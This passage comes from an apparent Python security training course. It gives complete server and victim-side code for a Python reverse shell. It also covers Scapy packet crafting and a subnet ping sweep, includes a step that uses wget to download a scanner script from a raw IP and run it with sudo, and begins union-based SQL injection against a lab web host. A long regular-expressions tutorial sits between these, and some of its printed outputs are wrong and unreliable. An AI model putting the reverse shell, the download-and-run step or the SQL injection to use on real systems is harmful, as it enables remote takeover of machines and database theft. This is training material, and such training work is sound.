5615infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
5616
5617----------------------------------------------------------------------
5618
5619
5620- on Windows machine run client_http.py
5621
5622- on Ubuntu you will see that connection is established:
5623
5624---------------------------Type This-----------------------------------
5625
5626infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
5627Shell> dir
5628----------------------------------------------------------------------
5629
5630192.168.243.1 - - [25/Sep/2017 12:21:40] "GET / HTTP/1.1" 200 -
5631192.168.243.1 - - [25/Sep/2017 12:21:40] "POST / HTTP/1.1" 200 -
5632 Volume in drive C has no label.
5633
5634________________________________________________________________________
5635
5636
5637
5638
5639############################################
5640# Multi-Threaded Reverse Shell in Python 3 #
5641############################################
5642
5643
5644- We'll again create 2 files, one for server and one for client/victim. This code is adjusted to work on python2.7
5645
5646Copy and paste code from below into server.py file on Ubuntu(server) machine and run it with command python server.py:
5647
5648
5649Server.py code:
5650---------------------------Paste This-----------------------------------
5651
5652
5653import socket
5654import sys
5655
5656# Create socket (allows two computers to connect)
5657
5658def socket_create():
5659 try:
5660 global host
5661 global port
5662 global s
5663 host = ''
5664 port = 9999
5665 s = socket.socket()
5666 except socket.error as msg:
5667 print("Socket creation error: " + str(msg))
5668
5669# Bind socket to port and wait for connection from client
5670def socket_bind():
5671 try:
5672 global host
5673 global port
5674 global s
5675 print("Binding socket to port: " + str(port))
5676 s.bind((host,port))
5677 s.listen(5)
5678 except socket.error as msg:
5679 print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
5680 socket_bind()
5681
5682# Establish a connection with client (socket must be listening for them)
5683def socket_accept():
5684 conn, address = s.accept()
5685 print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
5686 send_commands(conn)
5687 conn.close()
5688
5689
5690# Send commands
5691def send_commands(conn):
5692 while True:
5693 cmd = input() #input() is changed to raw_input() in order to work on python2.7
5694 if cmd == 'quit':
5695 conn.close()
5696 s.close()
5697 sys.exit()
5698 if len(str.encode(cmd))>0:
5699 conn.send(str.encode(cmd))
5700 client_response = str(conn.recv(1024)) # had issue with encoding and I have removed utf-8 from client_response = str(conn.recv(1024),"utf-8")
5701 print(client_response)
5702# References for str.encode/decode
5703# https://www.tutorialspoint.com/python/string_encode.htm
5704# https://www.tutorialspoint.com/python/string_decode.htm
5705
5706
5707def main():
5708 socket_create()
5709 socket_bind()
5710 socket_accept()
5711
5712main()
5713
5714
5715
5716
5717
5718----------------------------------------------------------------------
5719
5720
5721-After you have aleady run server.py on Ubuntu, you can then run client.py file from Windows(client) unit. Code is below:
5722
5723Client.py code:
5724
5725---------------------------Paste This-----------------------------------
5726
5727import os
5728import socket
5729import subprocess
5730
5731s = socket.socket()
5732host = '192.168.1.54' # change to IP address of your server
5733port = 9999
5734s.connect((host, port))
5735
5736while True:
5737 data = s.recv(1024)
5738 if data[:2].decode("utf-8") == 'cd':
5739 os.chdir(data[3:].decode("utf-8"))
5740 if len(data) > 0:
5741 cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
5742 output_bytes = cmd.stdout.read() + cmd.stderr.read()
5743 output_str = str(output_bytes) # had issue with encoding, in origin code is output_str = str(output_bytes, "utf-8")
5744 s.send(str.encode(output_str + str(os.getcwd()) + '> '))
5745 print(output_str)
5746# References for str.encode/decode
5747# https://www.tutorialspoint.com/python/string_encode.htm
5748# https://www.tutorialspoint.com/python/string_decode.htm
5749
5750# Close connection
5751s.close()
5752
5753
5754----------------------------------------------------------------------
5755
5756---------------------------Type This-----------------------------------
5757
5758$ python3 client.py
5759----------------------------------------------------------------------
5760
5761- Then return back to Ubuntu and you will see that connection is established and you can run commands from shell.
5762
5763---------------------------Type This-----------------------------------
5764
5765infosecaddicts@ubuntu:~$ python3 server.py
5766
5767----------------------------------------------------------------------
5768
5769Binding socket to port: 9999
5770Connection has been established | IP 192.168.243.1 | Port 57779
5771dir
5772 Volume in drive C has no label.
5773
5774
5775 Directory of C:\Python27
5776
5777
5778
5779
5780###############################
5781# Lesson 21: Installing Scapy #
5782###############################
5783
5784---------------------------Type This-----------------------------------
5785
5786sudo apt-get update
5787sudo apt-get install python-scapy python-pyx python-gnuplot
5788
5789----------------------------------------------------------------------
5790
5791Reference Page For All Of The Commands We Will Be Running:
5792http://samsclass.info/124/proj11/proj17-scapy.html
5793
5794Great slides for Scapy:
5795http://www.secdev.org/conf/scapy_csw05.pdf
5796
5797
5798
5799
5800To run Scapy interactively
5801---------------------------Type This-----------------------------------
5802
5803 sudo scapy
5804
5805----------------------------------------------------------------------
5806
5807
5808################################################
5809# Lesson 22: Sending ICMPv4 Packets with scapy #
5810################################################
5811
5812In the Linux machine, in the Terminal window, at the >>> prompt, type this command, and then press the Enter key:
5813
5814---------------------------Type This-----------------------------------
5815
5816 i = IP()
5817
5818----------------------------------------------------------------------
5819
5820
5821
5822This creates an object named i of type IP. To see the properties of that object, use the display() method with this command:
5823
5824---------------------------Type This-----------------------------------
5825
5826 i.display()
5827
5828----------------------------------------------------------------------
5829
5830
5831
5832Use these commands to set the destination IP address and display the properties of the i object again. Replace the IP address in the first command with the IP address of your target Windows machine:
5833
5834---------------------------Type This-----------------------------------
5835
5836 i.dst="10.65.75.49"
5837
5838 i.display()
5839
5840
5841----------------------------------------------------------------------
5842
5843
5844Notice that scapy automatically fills in your machine's source IP address.
5845
5846Use these commands to create an object named ic of type ICMP and display its properties:
5847
5848---------------------------Type This-----------------------------------
5849
5850 ic = ICMP()
5851
5852 ic.display()
5853
5854
5855----------------------------------------------------------------------
5856
5857
5858
5859Use this command to send the packet onto the network and listen to a single packet in response. Note that the third character is the numeral 1, not a lowercase L:
5860
5861---------------------------Type This-----------------------------------
5862
5863 sr1(i/ic)
5864
5865----------------------------------------------------------------------
5866
5867
5868
5869
5870This command sends and receives one packet, of type IP at layer 3 and ICMP at layer 4. As you can see in the image above, the response is shown, with ICMP type echo-reply.
5871
5872The Padding section shows the portion of the packet that carries higher-level data. In this case it contains only zeroes as padding.
5873
5874Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that contains data with your name in it (replace YOUR NAME with your own name):
5875
5876---------------------------Type This-----------------------------------
5877
5878 sr1(i/ic/"YOUR NAME")
5879
5880----------------------------------------------------------------------
5881
5882You should see a reply with a Raw section containing your name.
5883
5884
5885
5886##############################################
5887# Lesson 23: Sending a UDP Packet with Scapy #
5888##############################################
5889
5890
5891Preparing the Target
5892
5893---------------------------Type This-----------------------------------
5894
5895$ ncat -ulvp 4444
5896
5897----------------------------------------------------------------------
5898
5899
5900
5901--open another terminal--
5902In the Linux machine, in the Terminal window, at the >>> prompt, type these commands, and then press the Enter key:
5903
5904---------------------------Type This-----------------------------------
5905
5906
5907 u = UDP()
5908
5909 u.display()
5910
5911----------------------------------------------------------------------
5912
5913
5914This creates an object named u of type UDP, and displays its properties.
5915
5916Execute these commands to change the destination port to 4444 and display the properties again:
5917
5918---------------------------Type This-----------------------------------
5919
5920 i.dst="10.10.2.97" <--- replace this with a host that you can run netcat on (ex: another VM or your host computer)
5921
5922 u.dport = 4444
5923
5924 u.display()
5925
5926----------------------------------------------------------------------
5927
5928
5929Execute this command to send the packet to the Windows machine:
5930
5931---------------------------Type This-----------------------------------
5932
5933 send(i/u/"YOUR NAME SENT VIA UDP\n")
5934
5935----------------------------------------------------------------------
5936
5937
5938On the Windows target, you should see the message appear
5939
5940
5941
5942
5943#######################################
5944# Lesson 24: Ping Sweeping with Scapy #
5945#######################################
5946
5947---------------------------Paste This-----------------------------------
5948##############21/05/2019#####################
5949
5950#!/usr/bin/python
5951from scapy.all import *
5952
5953TIMEOUT = 2
5954conf.verb = 0
5955for ip in range(0, 256):
5956 packet = IP(dst="10.10.30." + str(ip), ttl=20)/ICMP()
5957 # You will need to change 10.10.30 above this line to the subnet for your network
5958 reply = sr1(packet, timeout=TIMEOUT)
5959 if not (reply is None):
5960 print reply.dst, "is online"
5961 else:
5962 print "Timeout waiting for %s" % packet[IP].dst
5963
5964----------------------------------------------------------------------
5965
5966
5967###############################################
5968# Checking out some scapy based port scanners #
5969###############################################
5970
5971---------------------------Type This-----------------------------------
5972broken link
5973wget http://45.63.104.73/rdp_scan.py
5974
5975cat rdp_scan.py
5976
5977sudo python rdp_scan.py
5978
5979----------------------------------------------------------------------
5980
5981######################################
5982# Dealing with conf.verb=0 NameError #
5983######################################
5984
5985---------------------------Type This-----------------------------------
5986
5987conf.verb = 0
5988NameError: name 'conf' is not defined
5989
5990Fixing scapy - some scripts are written for the old version of scapy so you'll have to change the following line from:
5991
5992from scapy import *
5993 to
5994from scapy.all import *
5995
5996
5997
5998
5999Reference:
6000http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html
6001
6002
6003conf.verb=0 is a verbosity setting (configuration/verbosity = conv
6004
6005
6006
6007Here are some good Scapy references:
6008http://www.secdev.org/projects/scapy/doc/index.html
6009http://resources.infosecinstitute.com/port-scanning-using-scapy/
6010http://www.hackerzvoice.net/ouah/blackmagic.txt
6011http://www.workrobot.com/sansfire2009/SCAPY-packet-crafting-reference.html
6012
6013
6014
6015
6016
6017
6018
6019
6020
6021#######################
6022# Regular Expressions #
6023#######################
6024
6025
6026
6027**************************************************
6028* What is Regular Expression and how is it used? *
6029**************************************************
6030
6031
6032Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
6033
6034
6035Regular expressions use two types of characters:
6036
6037a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
6038
6039b) Literals (like a,b,1,2…)
6040
6041
6042In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
6043
6044
6045Use this code --> import re
6046
6047
6048
6049
6050The most common uses of regular expressions are:
6051--------------------------------------------------
6052
6053- Search a string (search and match)
6054- Finding a string (findall)
6055- Break string into a sub strings (split)
6056- Replace part of a string (sub)
6057
6058
6059
6060Let's look at the methods that library "re" provides to perform these tasks.
6061
6062
6063
6064****************************************************
6065* What are various methods of Regular Expressions? *
6066****************************************************
6067
6068
6069The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
6070
6071re.match()
6072re.search()
6073re.findall()
6074re.split()
6075re.sub()
6076re.compile()
6077
6078Let's look at them one by one.
6079
6080
6081re.match(pattern, string):
6082-------------------------------------------------
6083
6084This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
6085
6086Code
6087---------------------------Type This-----------------------------------
6088$ python3
6089import re
6090result = re.match(r'AV', 'AV Analytics ESET AV')
6091print (result)
6092----------------------------------------------------------------------
6093
6094Output:
6095<_sre.SRE_Match object at 0x0000000009BE4370>
6096
6097Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
6098
6099---------------------------Type This-----------------------------------
6100$ python3
6101import re
6102result = re.match(r'AV', 'AV Analytics ESET AV')
6103print (result.group(0))
6104----------------------------------------------------------------------
6105
6106Output:
6107AV
6108
6109
6110Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
6111
6112
6113Code
6114---------------------------Type This-----------------------------------
6115$ python3
6116import re
6117result = re.match(r'Analytics', 'AV Analytics ESET AV')
6118print (result)
6119
6120----------------------------------------------------------------------
6121
6122
6123Output:
6124None
6125
6126
6127There are methods like start() and end() to know the start and end position of matching pattern in the string.
6128
6129Code
6130---------------------------Type This-----------------------------------
6131$ python3
6132import re
6133result = re.match(r'AV', 'AV Analytics ESET AV')
6134print (result.start())
6135print (result.end())
6136
6137----------------------------------------------------------------------
6138
6139Output:
61400
61412
6142
6143Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
6144
6145
6146
6147
6148
6149re.search(pattern, string):
6150-----------------------------------------------------
6151
6152
6153It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
6154
6155Code
6156---------------------------Type This-----------------------------------
6157$ python3
6158import re
6159result = re.search(r'Analytics', 'AV Analytics ESET AV')
6160print (result.group(0))
6161----------------------------------------------------------------------
6162
6163Output:
6164Analytics
6165
6166Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
6167
6168
6169
6170
6171
6172
6173re.findall (pattern, string):
6174------------------------------------------------------
6175
6176
6177It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
6178
6179
6180Code
6181---------------------------Type This-----------------------------------
6182$ python3
6183import re
6184result = re.findall(r'AV', 'AV Analytics ESET AV')
6185print (result)
6186----------------------------------------------------------------------
6187
6188Output:
6189['AV', 'AV']
6190
6191
6192
6193
6194
6195re.split(pattern, string, [maxsplit=0]):
6196------------------------------------------------------
6197
6198
6199
6200This methods helps to split string by the occurrences of given pattern.
6201
6202
6203Code
6204---------------------------Type This-----------------------------------
6205$ python3
6206result=re.split(r'y','Analytics')
6207result
6208 ----------------------------------------------------------------------
6209
6210Output:
6211['Anal', 'tics']
6212
6213Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
6214
6215
6216Code
6217---------------------------Type This-----------------------------------
6218$ python3
6219import re
6220result=re.split(r's','Analytics eset')
6221print (result)
6222
6223----------------------------------------------------------------------
6224
6225Output:
6226['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
6227
6228
6229
6230Code
6231---------------------------Type This-----------------------------------
6232$ python3
6233import re
6234result=re.split(r's','Analytics eset',maxsplit=1)
6235print (result)
6236
6237----------------------------------------------------------------------
6238
6239Output:
6240[]
6241
6242
6243
6244
6245
6246re.sub(pattern, repl, string):
6247----------------------------------------------------------
6248
6249It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
6250
6251Code
6252---------------------------Type This-----------------------------------
6253$ python3
6254import re
6255result=re.sub(r'Ruby','Python','Joe likes Ruby')
6256print (result)
6257----------------------------------------------------------------------
6258
6259Output:
6260''
6261
6262
6263
6264
6265
6266re.compile(pattern, repl, string):
6267----------------------------------------------------------
6268
6269
6270We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
6271
6272
6273Code
6274---------------------------Type This-----------------------------------
6275$ python3
6276import re
6277pattern=re.compile('XSS')
6278result=pattern.findall('XSS is Cross Site Scripting, XSS')
6279print (result)
6280result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
6281print (result2)
6282
6283----------------------------------------------------------------------
6284
6285Output:
6286['XSS', 'XSS']
6287['XSS']
6288
6289Till now, we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string? Don't be intimidated.
6290
6291This can easily be solved by defining an expression with the help of pattern operators (meta and literal characters). Let's look at the most common pattern operators.
6292
6293
6294
6295
6296
6297**********************************************
6298* What are the most commonly used operators? *
6299**********************************************
6300
6301
6302Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and text mining to extract required information.
6303
6304Operators Description
6305. Matches with any single character except newline ‘\n'.
6306? match 0 or 1 occurrence of the pattern to its left
6307+ 1 or more occurrences of the pattern to its left
6308* 0 or more occurrences of the pattern to its left
6309\w Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
6310\d Matches with digits [0-9] and /D (upper case D) matches with non-digits.
6311\s Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
6312\b boundary between word and non-word and /B is opposite of /b
6313[..] Matches any single character in a square bracket and [^..] matches any single character not in square bracket
6314\ It is used for special meaning characters like \. to match a period or \+ for plus sign.
6315^ and $ ^ and $ match the start or end of the string respectively
6316{n,m} Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
6317a| b Matches either a or b
6318( ) Groups regular expressions and returns matched text
6319\t, \n, \r Matches tab, newline, return
6320
6321
6322For more details on meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
6323
6324Now, let's understand the pattern operators by looking at the below examples.
6325
6326
6327
6328****************************************
6329* Some Examples of Regular Expressions *
6330****************************************
6331
6332******************************************************
6333* Problem 1: Return the first word of a given string *
6334******************************************************
6335
6336
6337Solution-1 Extract each character (using "\w")
6338---------------------------------------------------------------------------
6339
6340Code
6341---------------------------Type This-----------------------------------
6342$ python3
6343import re
6344result=re.findall(r'.','Python is the best scripting language')
6345print (result)
6346----------------------------------------------------------------------
6347
6348Output:
6349['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
6350
6351
6352Above, space is also extracted, now to avoid it use "\w" instead of ".".
6353
6354
6355Code
6356---------------------------Type This-----------------------------------
6357$ python3
6358import re
6359result=re.findall(r'\w','Python is the best scripting language')
6360print (result)
6361
6362----------------------------------------------------------------------
6363
6364Output:
6365['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
6366
6367
6368
6369
6370Solution-2 Extract each word (using "*" or "+")
6371---------------------------------------------------------------------------
6372
6373Code
6374---------------------------Type This-----------------------------------
6375$ python3
6376import re
6377result=re.findall(r'\w*','Python is the best scripting language')
6378print (result)
6379
6380----------------------------------------------------------------------
6381
6382Output:
6383['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
6384
6385
6386Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
6387
6388Code
6389---------------------------Type This-----------------------------------
6390$ python3
6391import re
6392result=re.findall(r'\w+','Python is the best scripting language')
6393print (result)
6394
6395----------------------------------------------------------------------
6396
6397Output:
6398['Python', 'is', 'the', 'best', 'scripting', 'language']
6399
6400
6401
6402
6403Solution-3 Extract each word (using "^")
6404-------------------------------------------------------------------------------------
6405
6406
6407Code
6408---------------------------Type This-----------------------------------
6409$ python3
6410import re
6411result=re.findall(r'^\w+','Python is the best scripting language')
6412print (result)
6413
6414----------------------------------------------------------------------
6415
6416Output:
6417['Python']
6418
6419If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
6420
6421Code
6422---------------------------Type This-----------------------------------
6423$ python3
6424import re
6425result=re.findall(r'\w+$','Python is the best scripting language')
6426print (result)
6427----------------------------------------------------------------------
6428
6429Output:
6430[‘language']
6431
6432
6433
6434
6435
6436**********************************************************
6437* Problem 2: Return the first two character of each word *
6438**********************************************************
6439
6440
6441
6442
6443Solution-1 Extract consecutive two characters of each word, excluding spaces (using "\w")
6444------------------------------------------------------------------------------------------------------
6445
6446Code
6447---------------------------Type This-----------------------------------
6448$ python3
6449import re
6450result=re.findall(r'\w\w','Python is the best')
6451print (result)
6452
6453----------------------------------------------------------------------
6454
6455Output:
6456['Py', 'th', 'on', 'is', 'th', 'be', 'st']
6457
6458
6459
6460
6461
6462Solution-2 Extract consecutive two characters those available at start of word boundary (using "\b")
6463------------------------------------------------------------------------------------------------------
6464
6465Code
6466---------------------------Type This-----------------------------------
6467$ python3
6468import re
6469result=re.findall(r'\b\w.','Python is the best')
6470print (result)
6471
6472----------------------------------------------------------------------
6473
6474Output:
6475['Py', 'is', 'th', 'be']
6476
6477
6478
6479
6480
6481
6482********************************************************
6483* Problem 3: Return the domain type of given email-ids *
6484********************************************************
6485
6486
6487To explain it in simple manner, I will again go with a stepwise approach:
6488
6489
6490
6491
6492
6493Solution-1 Extract all characters after "@"
6494------------------------------------------------------------------------------------------------------------------
6495
6496Code
6497---------------------------Type This-----------------------------------
6498$ python3
6499import re
6500result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
6501print (result)
6502----------------------------------------------------------------------
6503
6504Output: ['@gmail', '@test', '@strategicsec', '@rest']
6505
6506
6507
6508Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
6509
6510---------------------------Type This-----------------------------------
6511$ python3
6512import re
6513result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
6514print (result)
6515
6516----------------------------------------------------------------------
6517
6518Output:
6519['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
6520
6521
6522
6523
6524
6525
6526Solution – 2 Extract only domain name using "( )"
6527-----------------------------------------------------------------------------------------------------------------------
6528
6529
6530Code
6531---------------------------Type This-----------------------------------
6532$ python3
6533import re
6534result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
6535print (result)
6536
6537----------------------------------------------------------------------
6538
6539Output:
6540['com', 'com', 'com', 'biz']
6541
6542
6543
6544********************************************
6545* Problem 4: Return date from given string *
6546********************************************
6547
6548
6549Here we will use "\d" to extract digit.
6550
6551
6552Solution:
6553----------------------------------------------------------------------------------------------------------------------
6554
6555Code
6556---------------------------Type This-----------------------------------
6557$ python3
6558import re
6559
6560result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
6561print (result)
6562
6563----------------------------------------------------------------------
6564
6565Output:
6566['12-05-2007', '11-11-2016', '12-01-2009']
6567
6568If you want to extract only year again parenthesis "( )" will help you.
6569
6570
6571Code
6572
6573---------------------------Type This-----------------------------------
6574$ python3
6575import re
6576result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
6577print (result)
6578
6579----------------------------------------------------------------------
6580
6581Output:
6582['2007', '2016', '2009']
6583
6584
6585
6586
6587
6588*******************************************************************
6589* Problem 5: Return all words of a string those starts with vowel *
6590*******************************************************************
6591
6592
6593
6594
6595Solution-1 Return each words
6596-----------------------------------------------------------------------------------------------------------------
6597
6598Code
6599---------------------------Type This-----------------------------------
6600$ python3
6601import re
6602result=re.findall(r'\w+','Python is the best')
6603print (result)
6604----------------------------------------------------------------------
6605
6606Output:
6607['Python', 'is', 'the', 'best']
6608
6609
6610
6611
6612
6613Solution-2 Return words starts with alphabets (using [])
6614------------------------------------------------------------------------------------------------------------------
6615
6616Code
6617---------------------------Type This-----------------------------------
6618$ python3
6619import re
6620result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
6621print (result)
6622
6623----------------------------------------------------------------------
6624
6625Output:
6626['ove', 'on']
6627
6628Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
6629
6630
6631
6632
6633
6634Solution- 3
6635------------------------------------------------------------------------------------------------------------------
6636
6637Code
6638---------------------------Type This-----------------------------------
6639$ python3
6640import re
6641result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
6642print (result)
6643
6644----------------------------------------------------------------------
6645
6646Output:
6647[]
6648
6649In similar ways, we can extract words those starts with constant using "^" within square bracket.
6650
6651
6652Code
6653---------------------------Type This-----------------------------------
6654$ python3
6655import re
6656result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
6657print (result)
6658
6659----------------------------------------------------------------------
6660
6661Output:
6662[' love', ' Python']
6663
6664Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
6665
6666
6667Code
6668---------------------------Type This-----------------------------------
6669$ python3
6670import re
6671result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
6672print (result)
6673
6674----------------------------------------------------------------------
6675
6676Output:
6677['love', 'Python']
6678
6679
6680
6681
6682
6683
6684*************************************************************************************************
6685* Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
6686*************************************************************************************************
6687
6688
6689We have a list phone numbers in list "li" and here we will validate phone numbers using regular
6690
6691
6692
6693
6694Solution
6695-------------------------------------------------------------------------------------------------------------------------------------
6696
6697
6698Code
6699---------------------------Type This-----------------------------------
6700$ python3
6701import re
6702li=['9999999999','999999-999','99999x9999']
6703for val in li:
6704 if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
6705 print ('yes')
6706 else:
6707 print ('no')
6708
6709
6710----------------------------------------------------------------------
6711
6712Output:
6713yes
6714no
6715no
6716
6717
6718
6719
6720
6721******************************************************
6722* Problem 7: Split a string with multiple delimiters *
6723******************************************************
6724
6725
6726
6727Solution
6728---------------------------------------------------------------------------------------------------------------------------
6729
6730
6731Code
6732---------------------------Type This-----------------------------------
6733$ python3
6734import re
6735line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
6736result= re.split(r'[;,\s]', line)
6737print (result)
6738
6739----------------------------------------------------------------------
6740
6741Output:
6742['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
6743
6744
6745
6746We can also use method re.sub() to replace these multiple delimiters with one as space " ".
6747
6748
6749Code
6750---------------------------Type This-----------------------------------
6751$ python3
6752import re
6753line = 'asdf fjdk;afed,fjek,asdf,foo'
6754result= re.sub(r'[;,\s]',' ', line)
6755print (result)
6756
6757----------------------------------------------------------------------
6758
6759Output:
6760asdf fjdk afed fjek asdf foo
6761
6762
6763
6764
6765**************************************************
6766* Problem 8: Retrieve Information from HTML file *
6767**************************************************
6768
6769
6770
6771I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
6772
6773
6774
6775Create a file that contains the following data:
6776---------------------------Paste This-----------------------------------
6777
6778<tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
6779<tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
6780<tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
6781<tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
6782<tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
6783<tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
6784<tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
6785----------------------------------------------------------------------
6786
6787Solution:
6788
6789
6790
6791Code
6792---------------------------Type This-----------------------------------
6793$ python3
6794f=open('file.txt', "r")
6795import re
6796str = f.read()
6797result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
6798print (result)
6799----------------------------------------------------------------------
6800
6801Output:
6802[('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
6803
6804
6805
6806You can read html file using library urllib2 (see below code).
6807
6808
6809Code
6810---------------------------Type This-----------------------------------
6811$ python3
6812import urllib2
6813response = urllib2.urlopen('')
6814html = response.read()
6815----------------------------------------------------------------------
6816NOTE: You can put any website URL that you want in the urllib2.urlopen('')
6817
6818
6819
6820
6821##################################
6822# Day 2 Homework videos to watch #
6823##################################
6824Here is your first set of youtube videos that I'd like for you to watch:
6825https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 11-20)
6826
6827
6828
6829
6830
6831
6832
6833
6834
6835
6836 ###############################################################
6837----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
6838 ###############################################################
6839
6840##################################
6841# Basic: Web Application Testing #
6842##################################
6843
6844Most people are going to tell you reference the OWASP Testing guide.
6845https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
6846
6847I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
6848
6849
6850The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
6851
6852 1. Does the website talk to a DB?
6853 - Look for parameter passing (ex: site.com/page.php?id=4)
6854 - If yes - try SQL Injection
6855
6856 2. Can I or someone else see what I type?
6857 - If yes - try XSS
6858
6859 3. Does the page reference a file?
6860 - If yes - try LFI/RFI
6861
6862Let's start with some manual testing against 45.63.104.73
6863
6864
6865#######################
6866# Attacking PHP/MySQL #
6867#######################
6868
6869Go to LAMP Target homepage
6870http://45.63.104.73/
6871
6872
6873
6874Clicking on the Acer Link:
6875http://45.63.104.73/acre2.php?lap=acer
6876
6877 - Found parameter passing (answer yes to question 1)
6878 - Insert ' to test for SQLI
6879
6880---------------------------Type This-----------------------------------
6881
6882http://45.63.104.73/acre2.php?lap=acer'
6883
6884-----------------------------------------------------------------------
6885
6886Page returns the following error:
6887You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
6888
6889
6890
6891In order to perform union-based sql injection - we must first determine the number of columns in this query.
6892We do this using the ORDER BY
6893
6894---------------------------Type This-----------------------------------
6895
6896http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
6897-----------------------------------------------------------------------
6898
6899Page returns the following error:
6900Unknown column '100' in 'order clause'
6901
6902
6903---------------------------Type This-----------------------------------
6904
6905http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
6906-----------------------------------------------------------------------
6907
6908Page returns the following error:
6909Unknown column '50' in 'order clause'
6910
6911
6912---------------------------Type This-----------------------------------
6913
6914http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
6915-----------------------------------------------------------------------
6916
